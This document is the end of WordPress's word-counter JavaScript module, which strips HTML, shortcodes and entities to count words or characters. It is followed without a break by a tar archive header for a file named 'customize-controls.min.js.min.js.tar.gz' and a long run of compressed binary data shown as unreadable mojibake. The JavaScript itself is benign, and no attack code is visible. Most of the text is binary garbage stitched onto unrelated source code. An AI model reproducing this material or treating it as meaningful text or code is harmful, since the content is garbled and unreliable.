	 * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters
	 *                                                            including spaces.
	 * @param {RegExp} settings.shortcodesRegExp                  Optional. Regular expression to find shortcodes.
	 * @param {Object} settings.l10n                              Optional. Localization object containing specific
	 *                                                            configuration for the current localization.
	 * @param {string} settings.l10n.type                         Optional. Method of finding words to count.
	 * @param {Array}  settings.l10n.shortcodes                   Optional. Array of shortcodes that should be removed
	 *                                                            from the text.
	 *
	 * @return {void}
	 */
	function WordCounter( settings ) {
		var key,
			shortcodes;

		// Apply provided settings to object settings.
		if ( settings ) {
			for ( key in settings ) {

				// Only apply valid settings.
				if ( settings.hasOwnProperty( key ) ) {
					this.settings[ key ] = settings[ key ];
				}
			}
		}

		shortcodes = this.settings.l10n.shortcodes;

		// If there are any localization shortcodes, add this as type in the settings.
		if ( shortcodes && shortcodes.length ) {
			this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
		}
	}

	// Default settings.
	WordCounter.prototype.settings = {
		HTMLRegExp: /<\/?[a-z][^>]*?>/gi,
		HTMLcommentRegExp: /<!--[\s\S]*?-->/g,
		spaceRegExp: /&nbsp;|&#160;/gi,
		HTMLEntityRegExp: /&\S+?;/g,

		// \u2014 = em-dash.
		connectorRegExp: /--|\u2014/g,

		// Characters to be removed from input text.
		removeRegExp: new RegExp( [
			'[',

				// Basic Latin (extract).
				'\u0021-\u0040\u005B-\u0060\u007B-\u007E',

				// Latin-1 Supplement (extract).
				'\u0080-\u00BF\u00D7\u00F7',

				/*
				 * The following range consists of:
				 * General Punctuation
				 * Superscripts and Subscripts
				 * Currency Symbols
				 * Combining Diacritical Marks for Symbols
				 * Letterlike Symbols
				 * Number Forms
				 * Arrows
				 * Mathematical Operators
				 * Miscellaneous Technical
				 * Control Pictures
				 * Optical Character Recognition
				 * Enclosed Alphanumerics
				 * Box Drawing
				 * Block Elements
				 * Geometric Shapes
				 * Miscellaneous Symbols
				 * Dingbats
				 * Miscellaneous Mathematical Symbols-A
				 * Supplemental Arrows-A
				 * Braille Patterns
				 * Supplemental Arrows-B
				 * Miscellaneous Mathematical Symbols-B
				 * Supplemental Mathematical Operators
				 * Miscellaneous Symbols and Arrows
				 */
				'\u2000-\u2BFF',

				// Supplemental Punctuation.
				'\u2E00-\u2E7F',
			']'
		].join( '' ), 'g' ),

		// Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF
		astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
		wordsRegExp: /\S\s+/g,
		characters_excluding_spacesRegExp: /\S/g,

		/*
		 * Match anything that is not a formatting character, excluding:
		 * \f = form feed
		 * \n = new line
		 * \r = carriage return
		 * \t = tab
		 * \v = vertical tab
		 * \u00AD = soft hyphen
		 * \u2028 = line separator
		 * \u2029 = paragraph separator
		 */
		characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g,
		l10n: window.wordCountL10n || {}
	};

	/**
	 * Counts the number of words (or other specified type) in the specified text.
	 *
	 * @since 2.6.0
	 *
	 * @memberof wp.utils.wordcounter
	 *
	 * @param {string}  text Text to count elements in.
	 * @param {string}  type Optional. Specify type to use.
	 *
	 * @return {number} The number of items counted.
	 */
	WordCounter.prototype.count = function( text, type ) {
		var count = 0;

		// Use default type if none was provided.
		type = type || this.settings.l10n.type;

		// Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'.
		if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) {
			type = 'words';
		}

		// If we have any text at all.
		if ( text ) {
			text = text + '\n';

			// Replace all HTML with a new-line.
			text = text.replace( this.settings.HTMLRegExp, '\n' );

			// Remove all HTML comments.
			text = text.replace( this.settings.HTMLcommentRegExp, '' );

			// If a shortcode regular expression has been provided use it to remove shortcodes.
			if ( this.settings.shortcodesRegExp ) {
				text = text.replace( this.settings.shortcodesRegExp, '\n' );
			}

			// Normalize non-breaking space to a normal space.
			text = text.replace( this.settings.spaceRegExp, ' ' );

			if ( type === 'words' ) {

				// Remove HTML Entities.
				text = text.replace( this.settings.HTMLEntityRegExp, '' );

				// Convert connectors to spaces to count attached text as words.
				text = text.replace( this.settings.connectorRegExp, ' ' );

				// Remove unwanted characters.
				text = text.replace( this.settings.removeRegExp, '' );
			} else {

				// Convert HTML Entities to "a".
				text = text.replace( this.settings.HTMLEntityRegExp, 'a' );

				// Remove surrogate points.
				text = text.replace( this.settings.astralRegExp, 'a' );
			}

			// Match with the selected type regular expression to count the items.
			text = text.match( this.settings[ type + 'RegExp' ] );

			// If we have any matches, set the count to the number of items found.
			if ( text ) {
				count = text.length;
			}
		}

		return count;
	};

	// Add the WordCounter to the WP Utils.
	window.wp = window.wp || {};
	window.wp.utils = window.wp.utils || {};
	window.wp.utils.WordCounter = WordCounter;
} )();
customize-controls.min.js.min.js.tar.gz000064400000067526150276633110014174 0ustar00��w�ȑ(�?��:@Ԥ)O6�PFx<���8�pƞ�(�<ٲ0CZV$��_=��Iy�l�9��;�������z\���qU�e[���|-��h��Z.F���jX,������i����r8��v]/�Ԍ~l�c���������g����ן��������o�_C�(��`�o�O�?XT��O�3��/��ǿ:��*��e����ش���h�b����妚�e]�/����zP�F�B�J��m~��u~SV��ft]��o�,�$]��\7C���\.��57��,��:���lN�Q�X|�^V��e��L�d~UT�d"�Tdv�Υ�����w��zY�~�_����oG�ϑ��-һe],�����D�Uٖ�&?����WZ�-��4e��ۺ�]ɑ�<��eZ	�*������?_�q��q�*g�a͓M���̣G��T�$ۊ5,E��y�2\��-w�⺲ӵl7�j G�=�I���U���.`���X�/�y���a�Lȭp�'��Z�ړ��9l��U9���� ��պ^�
��hG���.���X��ѣv�*`���&}
�J[�Bf[�iw}
����r#��Ųŝ]��b�l�C�v����z�w�キ3v���I�Ȟ��dN_�m������2g��r�U�V��M�wkؓ�n�J}<oG�|��=��t`�i+�j]�Q805�$���{\44���N�(	:��X(�c�#l�ˁ��U�-'�/m|X#Z	�ԤUv��!L�s8�.PΪ��
���%Є������@�x��f��K��/��<�
����0�d�A�(��lD�k�Z��ԀXchS�E�0����Q�wr����)�R��D���e�L��^֓�l��H��e�������8�@Niq&G���lZM쏣<O�N�V7-'�a5�=��<�����[�m/��ĠQ��i��s�A8--|��1Z��]K��vA�q��m����-e:>B�Ý�e�����4�u1���K��m��]��;��\.`�i�Y&��\7m�e��о�_�����O�2�j�8Qexo\҉���lQ�Ő�#*�dF�gjh�>�rk:Jѡs�Gp�''�������5``�N
S�K��Y��'�m��׺-�K$�|}��x���-��	,���E�h�i`%H�6������఩�&�.�Mu���H�Kr���'�0}�.��#�]ԋ�L!$]�@�
��rd������������N�%<�#��X�c�P���N.�o}��so�j����;�T.�9Qy}��exrnW(†HrWi�_�?$bx�K�4�2����Ĝ�i�O�$��o��I�h�z�2{�^����f��(G���҃���ֳ�nm�]nE(N5�d��c����Mu8`�S�}&�^�ÍԞ���,�`T�ľ�qT����(Rl3ޣGG�̫���B9�ڿ`~��J�	v�m�?��X��Pjz$ł��mgW3��fWLg3���^P��� X_%bQ��[��{�Q񆪛oq=2a����Ś�a�������ﶙ�Yw��%}��B��������䕼L7��p觼Uu��5HN�Uݴ��e�0FzE@������ ���Y�%])t�gS��TZ���X��%.�r!�=�l�j��o{��ւ���r����ٹ��ގ�J��Y�x3u��Ƴ���L���ס��E>v�m�4�0�%�1�5������*��U�SA%�
19��
��{G#X��N4Y-��[����F*܃�i���{˘�|n>hp�f�3l�3�6�3
a��[�~�U����Q�7�T
n�s�D�汍%QI-V�`c|t-��k����Q:��~�5��G����c�n9-/�Kv�Y��)��
�ʏr���-icgn�S�l����j�v)'x
���z%\=J�z.��#*�6U�ɒ:1��w
v����>���='����|�HR9�qG�XbF�@H�3������*~�z�ަef�
W���Ěz	;Rc��`��B<�;�'I�\�w�rƭfe53S�mh_�m�4��l���ҐX�4Lw����l�f�{���#L#݁&���byS�6�w�?b0`�`sXR��gI4�6�����B>׬����j#��@+�{k��
Fa���+�=�VTs�]�� e봵��������>��DD�E f9��z�H�խ�^��=��+�G'�Aopo'� O��3�`�Pє�X�,d��F9�����hG���aiꋺ�2Z!���W�����%��-�Eb���1kTM�e�� /�`u�`�ړ,w����c
eP�S.��
Q6��#�;B�\Q��.��"�Bn׿,��UL(k"�˝"�j!#ԙ�K���RIX�5��J,ʥ�����TYJO);t�.��`�Y����?���	�&�1��*h�ޖ��\6���H7�QeCW��<�K�eW_B7
�X�����������ee+�<"�Y�X�D�����UQ�%l��SRE5��6�#�����"�mPPY4
	?�z�,V!ب<�|��+|���2�W�`����H�7R�ĕra�$�����N�>/Y�EQ͑�u��ZmZ1h�f�ÿ-L�\��Ŧm�rj:8bP�]3.gm��%?��bn��VL����k4��@�$IR���K�9M��iڒN�/�"w�
�"��H���5�������1�hש�v12���uY���5Z���F��ۤ�A��G��js}!׎J�w��0U�3����m��g�aO��;��;;�Ȳ�#�>ߴ �~趦7ü��3j+��`�pr>;2Z;*`�R>��#k@�@ȸI��gnx?�Z#�}w	L�u�����\QߘV�e*��笕8;9�cxt��|w����~N(LF��$|����k 2�Q?�M5bȃ�6`���v2��oH+�1��Ni
�wY%�����Z֛��*�j�N���Xê�����*�I�S��F��;�$�M:�|�f���t��PXuU��i$1o��a��\��k��o���\����߉�q���\�}�/K���Y�8��62���:���ҽSe�uS����5Z�����W9�v�I�9π*��r��؎�<��7��R��'�3�����=o�!L�E�>A��6�$���M������?���o꿿��y�Sٺ
n�dKz8��f#�%
�=ݳ�i-
g�u�WSyV�+a E8�
Y��l����L��u�3��8!៼��W[�����?fsC��͟$�g"�&�	5�u���i��d<-�W����tZ!�j" �X۫��1*�[��x�o�r
�S���n��c�RC�w|	MfF����%r��$�ů,|��䝯� ��ը��Op^�S�s�]����yOJ�����t/(qMS�v�j�21&md��5�G\�N
F���¾k8�W]�07#�9�Lf���m�v{g�+����$���'�vo
��
����#!a���?m�F�teX۠�ϚӅem[�?E�����NũD����@�W��܎�ZW,ߨ"<I��z��/n�;�'i����D�.��&�d*�۬��Ak+��b���ߝ"��D#D"ނ�<s�ns*tif7ԫ�2�ķ����7e���n���QJ��FB
�/���92Zzڊ.�"fLR[�"��}+�W2���|9�J~M��J��������s�ʐ�O��u�3m�a�[!�_o��>H��i��
i5J6ĉ	]���Iw��պ� A�u%ibw<~�׀�9@k�u	g�^nP��Ŝx	�s���2���u�b@k꽘���+v��W��d�\�9�𐤛��'��b�Dy8|O�m��DՅ��@�a��1��J�����<,g4F�L&�gj͐�80β���fY.��%��t���������������m6��d<�2�"�mă4�nQ��
_eQg� �R�J����:���+�BɊ4��:�P\::�;��ap3��S��ua�1�2b>GE�p6tן�D��o!���7�Σ�
�lu���f�C����s�5I��E��k��Q�U* �Υ{�P]�q	<�m���6-E�wN�ԳjҚP}B�l�ׇf�K��j�C����ge��� �E����~4����(6�#ĥ�0�LG�^���f�7�}���T�,��8��Θ*��[��2��t���;| X=�/�F���f5���رgĩ���	��G	q�_H��IOMY�#h��ޚ���Њ�	=�Õ��I��rCh+{��Y����S�<! ���o���@����6�Iwհ����J.6�-Z4f2Q�fL54�-�*jVD��pQ��
4d>	�l��M�B��ャ2��7��T#���p�S�.�O�),k��k��h���|�P��q��b�WC=�;�*c��k�
��vAh����
�����fe��H��[��Ų#k��J���ZM���H��
0�x+�?C��פ*K�:�ugO���>��$[ae��ٸ�� �|^�%)r���Dp��ٱء_0+�3h� -h��W���b]C`^��q��{��q2H��II>-X)5Ep��>I�cG|7tlը�*�h0�m�!��0����(��zE�{�Rz�7~i^�J�=D⟦��w���ʳ���A�/��n�$�2��Ao5���(#'��G7��̓�-�KD�w�9�(��"�b�hG���Pw��y��s@f��GGR��pL_FǢ��$9P���,��!=T	AbfJO�Ԫ+J�d�� �
]*�NU��Iv߄O�Tߛ2�c�Ϛ_+�{<�z�f�X���	�>E�x^��}g�v�]=� m~Ao擴���w���o,�����G�u�頛�=͋���!3�;��z��7�k��O�c`�,�?
�+�oJ��u6E����u�
Εc�0�5��2���e����K`&�̸�����E�C^��^�@�:WywR�b<�W��� 	�oX��W�%��
���F)*/��ӽ��!�<_���e�ld2᢭b��^�eR��7�BD�c�R4a;��9ĖߧB�lOL��X���I�S&?@;� ��λ&0�9|H�݋K|ż3��m��S��k���ys�Ѕ=:g�$P�
�+��v8�#�\^�|L�_W�[�p䍨j"����HVDSg�q�4�T�Q�胢8U�)��u��i���oࠖ�e�]�;T���U�����
PZ�Y��X箒���;�>5�oV��p�z�ҔV�O��>���}�&ُ�C�,�M�e�S�^,{Zy*�Y^i�\e�X�wL���A��rl:p�$m�A9��2����쥬6�
E��O-Y��p%0bWuKz1i~����|�?����X8Q���~��Օ�k�F�+��UF�r��k� �"
FD�'�V�@�ckyzl�^�\s�qA0h����:��P.2�=�P{H���ls��k!�{<�@���!��D��"���;��X�/@�yY_��×���/��8���@��#��]撵��o��*�Qe)8�F��!��)b���|z���C��o��*!P:v�@�?c�Q�y���f���y��a�V �O����yqH�u�(��$"����^Z��-8��h�arؔWD�a9p?8�6T����2-�O#��Ν���
$p�#�y%�?!	���z�E����yv�Z���2V��a�;$�P@�J_@a�k\q�,�cr�'ӱ�0Q„/�������oF��AB�?^B�L	K�݋"��.�X�"�ޕC��+��'#��I�Zo}�Y��ߗO"MF�ҷW,>��q"����L�
6hk^~�ʷfAp�&���;�Z��7�f�y�t��Ǘ�
�2 ��z���	�;Ty���,����m0�O�a8�h��$�,V�Vޕ25��k䟁_Cq�w���z~���?���55A�+�|����g�P��V�͂�x����.�8���݃��	|��t>n�E}�ݺެjJ�E�wy0��K)��o��ԫTz�n($`�x6��~n�y�y.-����uqC�5�����&q
J�K�L�d�����	vD��I�ޅd	
� HEd�6?���S&���)���Ǔ�&��.��H��5��*Mo�>���c���U�1���`���D����I''`�T��fmff
��k�ڒ�Ԏ�Q��l��%�u���N:>�eC��*cO�jG?�GQ:J½3��_BS�r��7Zј۫!����Ի+�4�#f�1$��]�PýCS3�穎s�.����A%���&*�\M)���Ud��o�͟ȅ��1�N�C9�Lt�ҡ�%47c�5Bۻ�Zz�5t�}�6
��T�Aa�n
���4�5Mh>#�����eT�*�f��;��yw�N>t�	�ۨ��CZ��A
�j�B�@[J4`��F�p/Ʋ��"vU(�8��a��ٓ�v�>���)	���t�H��ςd��R;봥I�c���O�9�/��M�ί�7��!`��f�bƜ�Ĝ#�m
$�d�^N���s�9
)IEG(J�;|�!: �B�L�U��bgS���F�3���/K!��,Pd%jt�(�V��Y�-�"Yԕl�4Җ�t[�g��2SoH���_f�'¿o��#���RX�\�R<*�(8�2��x�����kn�Vb�04�l|��\i�f)_]c��Q����lzn :~`C��'㊿Ŵ�{٠�q�L��A��,5��7Ʀ��5QRL��t��B��tO�9퍣Cl��4݃}�m�׹�j��!(���=�ip)L���b�fx�"ݓ
-a��CN�G֣���'���\(BG���
�HW�d��IS�G.�l�JF�1�^�O�Sb�У�{f�O(g��F�.w�`;fj|���8N����|�\�;��S�u�٫Z�]!�Ş>�'O}��u��R=B�����y<[��[�5;i��Q��>��"�;�t];��6��۶���J�!R@�r�7#hKf��YXL��g򳧭r��h�V�Ll4����KX��@�~]]�}{G�	�!>Ƥ���;����q�y��Ye�8��T��%q��0cu�&������O�b����c^x��[ihY�v Qm-/��
ڹ)&�	m�tH&���*�M;ux$�>J���K��Ч�2ɫU<�A/���8�C5]�Y�P�RZ�E�V�H�NM�E�e��`M$Q��h��G�����e�hͷT���'�j��R����?o >s���Y/��/�ʄ���U�������#l�T#J��U��4L�eO����F����u$���єCI���Ǻ��Ґ�\g�~���k7��*	}��"�/Y���1�	]��
���۔���G�nN�������Ъ����:�ZYcp$�:��G�X�
�ީ�D�>��0��Œj����g̎���A<�W���ٴ��
#bs,��wƋ�(=*���Oz̿"az�o1�V�MX\� ;�ņO(�5hb��+�U
�2��WnL7̲�y��A�Ӽ=.3σ&�d�C;
����6|ޓ�b�S����;��"[� (�Ĝ�tE�=�滂i.�f2҆%p�-�0�=4�,[�Lz�H
��%��6-�*�6�؊�Wl�UE��mȆ�R+,#�@�H�D�̃b�>>%�o�#�Юo�aX��s
lP�E�y�	�S0t�]�����c��m�:�҉���,%C
������О��s����T�k�l�T����(��6;AFO�!�^��ԆQ��Q���.}��O��7J,�A�|�#����ĩQp�GRp�
�hH_�Aͭk������p�
��8���ͫ���?�(���^�����~��bN�sep�^/�֮������TU5�3��&t���"4�p3�!���*�wW�	������+�M��&�嬹m`���VS�|+�υ1�tP�5P��}��!5�V���qp'V��Pb���N`��3v-3:�g��p���د����IC��&�«�^���Ɗ�e��f&t�K`m���rTP�BN�p6>�@�d��e&ED���Mn۸���=P�	V��U�'�� �ʦ��l�Iu��Xm\`���������5�=�rW/�]=�=&ɬ�bE����/�0��f��.0���0=�}!w�鉶���������#'�F!����	*��I�=}nM���:�x�9�֑
��u�a"�>W?��n*�R��`'�O�/O#=�gy�b�s�}������o��H9�;�9*��(�	zfD�yn簽�|�퉣��@i�I[��7c�5���������V�s�q�����OrT���yf�m�u�>?�+��߷;��� �-�t-ژUf�[�Pk�–�M�|�tC�}��Ɨ�{*͊"H���׊&�뇹�;���".{�%v���e�j�Z�?2b��TӪ'�V��囘�0�M�P�F��N
#�y��GZsN�2��톓�����k����(z=�+�+��j�nښ��u�9Dh�G�P[07�9H�A��2beI�t�1�rdږ��Ѱ4��%;|c_0a(�CW]��|v/�v�&�N��k8��b�w`�\;��i���`���������*�ƨ���9�kв�jď܅=�;�A.bc��Pmlj�젨mn��n�.���6?%�G�t�KW������g�C�!;9tw�
�4��u��@S(=Ž�����"7�p>J�@t�G��5�~(Ym.�%g�4;�]7M��0Aa�x�{��Hd��=��>F=pZ����78Moܬ�);�MU�/�%'���]�?�g��N%���u�>�N��PŃSI�)>Nw�]hm���T�tj�^w�j�^�B�V���]1mbJ��l譔��	6G؋wڟ~�&���@�M��R/���jv��R
���f����ZZ���W�
�1�=`~�3I�ொ�K�!��O@��&j툌�\ӭ�S�<��o����s�w�#9_~@������q
��
�3�~N+��`�tYJ�˄�U)�S��+2g]ƾ�@�O1D��P�TP���U+)����7�qף�OB�N����9Ֆ9�ԎФ�C5��:6�8���;�Aϔ�7��YsYċX��7���"��MS�� 綴L�zV��Zt%Lk���ŸS*�~�%�T��-��L+~�*�r4���2�vï����amF����s�~[�\�1mZ�Nny�6�۝́���uJ�.��M�ۗ�_f�<�^f<����6�H��W���9�g��W)8)َ*�ǥ�@Fԥnc�a)��N�Kϓ�Q��6i�m�D쵹�J��}غQ~\���܏��A�2���d�p��خ�^�Ԋ7Bz/�$�.��l\�Z�Z��FwBAL����`�(W}�Cu����/Q����a�=XP3|�!A�Ď#����I���x�Z<�$�Գ�LZ�i
G�/E��\��-t�~	'#�I�R�Iַ*xw��Gm|����{�C{M�k��m�Y�.�n]^���I��(hW?��y�'�;]�)�d������~�R��lw�V7#���^N	�vSi�����)�1�ԝ�Oi����>	��=l9�؆��o!zY���S��
�L�k��q���:7l�:v�.���
�W0���'�tO��{���5��8c'0�,�(����q�ap�O~��pI2 5{PG�2�cಛ?󏞼���2���3z
!�.
3W�a���o��G���ۖ�m)���k�ı�m���U��n�-�#�=�c��WL�:)�5U��N��O�MJ�bSא5µ`>��}#�g��cx��c�L��(��t��z�Z~#�xQiݳR]*��XfQ�DF.#�l�'Q¾|VL:;?�.�����4�7Ei�8�ܱ�Gv񑌠�u����XX��0�gOM�;Zf�O�Ly�Jٱ@q�4�(�Ti]��"T��d%��IǏ��Ɓ�(ǣ�gX2�W�0�`қ3�%���tm*˩k���_wL&\���
�V{ޘT���n�ɶ:-�IY#�&�fQ{�pB�9��9��Ao�SJM��Q݌e<jK�Z�&C-���M�e0��~K MI2��� �ӣ�?ߓ{�P�HzT��O�j ġ��6��́7h�-���LZ���x�-�����B�e))ř�>���4�r��Ws��Y�P�G�<�$5�NV6FIW��>E���.�'��~i��\��h4�i��H��r֞�r���,F�L�?Bа��Q�Tʮ0�3�#o���%�o��N�L���uu ��s�ɻm��9��ퟔ�/��<���Ч�V@��+8h(8d�ߎ0�h>�ҵ7t��Ov��q�΋�M��C�Z�?��Š��'y�MȪ�n{Z����D�.���R��5��5��6y�i�'�2B��5ȼ�ꆁs��1pf�˝/�S��Td�N���<�vy��cy�����a�xh��	����܄��E���ɫ$-��z�

4���V��VsNy�Ԍ�>��&�;b�K~��'�W�\ rڲ
Z!u�&��曥�tmwd
2��Gh�zPq}۸1�u��(�ڐ5���h�9�XW�U�<�E�)f�bQ��S�ބ��ǰ~��h��Eb�X�nP�0���lT�%�z4�!�@�#C��g�o��+Ttc:������H���*�W�����Y�݄۸���~5��'ǷI�jߑ>���|? �<�x���@�~�K?��k���x?�enf�@�Ț���I��<*+���{�!�)��e��7�r��ؗ�Z��+�Ic�$G�%R�`�vd��CR�;��T��{�vv�!�.�p2�����S�����ヌE��q2���<�����/�:
��8�e�Q1�OO�S�~��̻T����d�����Q;��f������C���4Uv��0`�c����z�㺭�J_���$�4D��Zk��U�Y��_�~�ފ�m9�]�j=��D�Q�����c3߱��A!��6���/^}���go�xq>�YY
`�8�$2�4��`!�C�\�jpY������Oܠ�G�F s~y�m3�8:���U�%�LB��yϨpK& I�bvxN;*��D?S��ޱJ[a�s'n#���jWn���.y�W$idz�R����L�Ua!.o�"�2Fk�R�Do�0j�!Ƕ5�vgOulK|B�鴷�0W��љ�w^�Fe2��T-��2���O5�j���qp�Njf_1Z�~�q�Kk(�����2��S9
B�Y�q�.�_�{7�PpO�4����
Y@�;�&h�j��4��B�X,�TZ�נ.���B�W[�6�j����J�u�m�!�!�~E?��!#Lٸ��;�؜�+����`	bkm{�9�e�F�{*�H�1�@�t���ف>�+\��_�A7):c�*W2u�J�	]�,/��vh������o�΄@�0>���9ҥ[�n�ߵ�?m���<�uרi3t�LE��	�06�H�K���U�G��������W�oE�*����k��V���A$:e�24�?ZrCÁ�LJV��/��)Qzܬ�ɹ�;wd�L��UW��_�~)�d��lYd�7�\�޿�u�!�K[�k3?Ζ@�:X�%�1��C�U���Aڻ$�{�IŒ���V��x�ײ^��c�k?�}ڏ��o@E�>*h4�43Ҫ�+��i�d�&oU��u��B[h6��c�=+t+)��r?�apܨGdGC��wG�n�/�4^a<�;�*>����ʋ����*N6Z,��ϴ��W��o@n[�'M�C2A��1������bB3~Dփ���mp:\)jz^P3T�f䴣?�~�)�/e�`�'�QEfB���(料r�7�FG��l	Ӭ�p��d5�ςF��U��~�@%ѵ��sC�Q٪�+�9��S+��/˛�񔧄��1i~�c�������<cZ��׎}�6�P
���K!��J��q]�:�$89M�a���ྗ��d��T��6�Y��^Q���ր�-IUoz�<��DT�P9��!��>f�X��J�K�������3F��85�w��$Ӭ��~W�h�h����(F�z����kQoy%[��59�S81JR
���p��Y�����x &���c�嚰V�{�+'V:j*͛j ��+�A�ɘ���3r��i>��l4�:}�c���w���`
�=4�70V0]f��Ď�9��5���ʵK����D"�t>�'�9w��S�(�I�XR�(�¡q����ϭ�zB�x�4���q��,!�T,"��
����_��k�r��d�W�s��I�2Ɇ����jd�������^�\�4,1��#�>p�S�S�Av�ҏ^D��ݢ�鍤�ڬ��-�Z�j�H�8Bv�N����y�Pэg��;X@��6uo�������щ!����/p�@gٽ]�y�.?��j�NC��84�4�6�B�U�N4�x������L@-��z)���E���yps��ی˶�H`39C��@E�oK��,��w����}F��?1��B��F��J�C�q�T�Ч�D��<��[*���"P���'�
wVԞ�j��2��H�m��wߒ���
�ݬ�反2( [�S/h�����L(��nV�ˋ
��b�8�Z�Ə�l��!tw+�Ta'2wJ-�b:Gw	֧�מ�Nk��sa������hZ���7�Һ�Kt���T̓���>3eX�=�C��sqOٯ�@Л�����m��j0e����ml����yw�ϋ�O��Z����
����ƃ�v7� nIIJ��[=�gH�*���s�C�%s�9z͎����V��+���'�;�1�^�C���9��ei���z*�%��������^r��~j#����洲K��J2Yt�n���X7�rgxw~��[x�
en/��������q�2�(5�ceg�G�2(�z��`���̬�\�8@^\�Ep�$�gqA���B���o'����&�g����O���~�HF-����������L�d$��i�Bx߾�ۀ�Zy-���ge���*��;���!仕z�e���|C����k Ԙ�p?�VW�[p�ڠ�1ҴUo�ᮠ����q'���ϧ�m +�K1��P-��W_.�Y��s�i�0�։~�ڕ/��3W{�‹0�Δ�w�w����z ��!�p�vGFTu�@J���C�Z���&ԑ���eZ��a�g֑Zg�y�<^�eވE�6^ڬzD?m@��sG��N����,R���O85��i�XN�<]�2��|���&���sq���;��p�����"�2t�l��k�Lj��μ�e���崙,�@U��.���B|8��yZ���q{2��T��ÓIs܊�'��q���x�S
����Q�`���Q��7d�����VZ_7��	���@��uR�2hH�܎�h�|+<8z%T�Jm}��]�;@C|�L)�>��?�J��JA�)���Le�4��*XR�)IÎC����dK��_�p&��սսxn��P�1�ى_�����ݨ�<�P6B����~+TPE�7<	p�rX�I��:{��1ޱ��A��>������ºޞ@ ����.~�g�Y'.�na�e^C���Ey7�s\��D�@7C�
?{��+Z䇿1JUrD��A[¦�.�e�2�<���~%V��b�G�^��D׬��\�	m�
�'�=��C��0�j�Q���^I�x�
G�����C��i2m�=$ׯ���h�?٨�;�@)�`�o���F�0��8�.��EW�y�"�?��0!Խl3^T��3��ٛ��|��Ĥ��cp)uK�v�>�x-�whB��$}c�U�N��j"�m��Wu9�_��F%�X��`�|� ΍���\Fdr�s&��S����Qi������/�6�g���5�e9��Y�E�"�I�������k��X�l��G�Hq�~�X��qW_r+���a���m�n�uKg��B�g��K��V.�kc���|]�QQ�c���w�i*1���s�jkyA
��ӱ.F���b(�,�o�E��;4
�u���6�վ�~�{i�����xbxR�lM+c�s�M�	֎a�t0R}���(�7v4�^���Y�|�u�JQqp7���~�^�;�ʞ�.1��ac�hp�7�*k����}	�����&���h|���Dt&�Y\՛��*Q2ν�̞6����2�L�L4��V���G�O�y
˛x �}2)QR�"� -WR�"��|x�
��6C���!��-	���Ŀ�J�;Mz��@��b����r��/m�?H��}JCY|�1ݥ�hy�_O��ą��bn��Q����8�ɧ|ݼ5��]������N�kٜoYCτ�>鑽�C�z>��^E�P�Q%��Q�Bs�G�5�%�5 _q����B?
 ܂yK�b�P�yI?�1��w����e��} �v��D
er�.D�2HQ�zU�[%vhɵ�t����)	��򰾶�[���d��0�z3�z�.�!M������B��-����2�jN��v���+ɴ-���y�9�zߠ&n�q	���f9(�g9�X+�����W���Ƅr����2r@�Kb��@-V����Cps�1��tB)tS7�%mQ�gt��b��#Hz�@i���73/�����;�L�d&�%0�L��m5��Ƹ����nF�y*�z�s߰�
��v���Vp��ȥC�ʁ)D��O�NI��b#(w�?ƪ��]+/6�&��i������*Wm��!����|�^�J'��
SDf�G�	?�eE�.�5��1��1��+�\�k�i���'&����n���̫0ݲcScKa��������2NEW�����M�Ř�|'�a�A�&��,�����Z��`'�h�n��i�_A�I*�f��x��Ɠ�0�B���T�#�9Z�/e������6>�
�b�8�"!�.Ik�ztx�Ew�wm���ģ��r������d�4��)&@�m\Iߧt!����Z?�/HLN՜|8��.�im**s�=d�E;�x�{suڵ�f��#��-癌�+*J�fj��)
���%�[�f<�����o���9i��f���O��9��u��!������d�!�O�o<�1�L�F�v(jEO=GY��
Km^�9?�������6ٳ���
q�I�C�D���IL�l��I��0��1=M�ЏA�ʴ����@y�� ^76��'����'�ی"��ؚRI�OǴ%$x}c�DK��V�E������7�g8jG�-�`O,<�a,N�En�%��8�T�r��e��E�T����]��Dvmy:��wu����U>3u\G�)3��45�o�������8�;�K�T*8R�����F 
r
Z�c�N��|�������(?/i��aU���d#�L��`j�cN
���-�R��u�^`z�ga>��=�Q�َ�_'[��W�/h�}w�.����ֺVҞ�+;˒�+jN(-zyY	�{)Z����}����]��x�"�"�v������{��Мa�7�_�si�E�|N'}0:�~� ���T���,��.{�CL�̏O��C�e]�ʡ�#��S'�Ubډ<�q�;H2�z�M?C|��|�ʄ�!�V���_]J�l$�h7L�!Iͽl��t�#T�:s0���G4r4��g�P�/2�.=0v�]�
�p��r��k~�ۂ�J:�+�4_���7�bme��B��I�M�V�ͺX��M��+�sXbL56Y��w�c�ic��Ubcw:rn�:/����X�G
%�W�a|�[4�+������S_Q�iψ(]�~l���������M�^�Q��ŲUQ�v�{Ƿۼ����"+��/*Թ�#r��hњ��%��7!
�E����_)���� �E��+H��-��(cL��Ȁ2�&�A�&_`ޘr�rw�(tIr�d:87�~W�:^�D8�֧ɪ^m8���'�Eq�|Y��Q��t3�+���ϳ�j]����)L�oJ�U4P
?���E�pTH�hDo��r�[Ȧ��Qqh�=����/��9ư�s�ԁW7LhyP�f�*L����L��*�p܋ʛ�}O�T��e�u�ŁCw�7UaWx�(��RJ�����p+�z�l������v[m\��  i�_a:)��@��С���[�����o����l�����ɀ����W6ͦ�x�q��=��B�w��-!�:�ŭ���8����8A�M+;���",�zF�e5_n�v @)�n$p���6��Iф_w"��o2���u�(�*?y�4�i�����F5u������\Ǫ ���S�PL1X�M0F�Vš��*Gt���*B�'�N��n�s �1HH�	�����F�Ȗ�ޤ2/�#�D�mV��A�́��cu�u�>���v4*+�ȍ�r��p;�}�����o��cT�g,-�[��-|�%���m���fZ��0�CH ���U�yD��ͦ��c���҂�Mc�|��	J���QaE�0�S�E�s��x��-�8�z��u�EtijoG�"D=�`]���Ve+8[���y/L�mZ�V�����YD:G΃�0�OK���kþE��|�
U�#�z�z6���
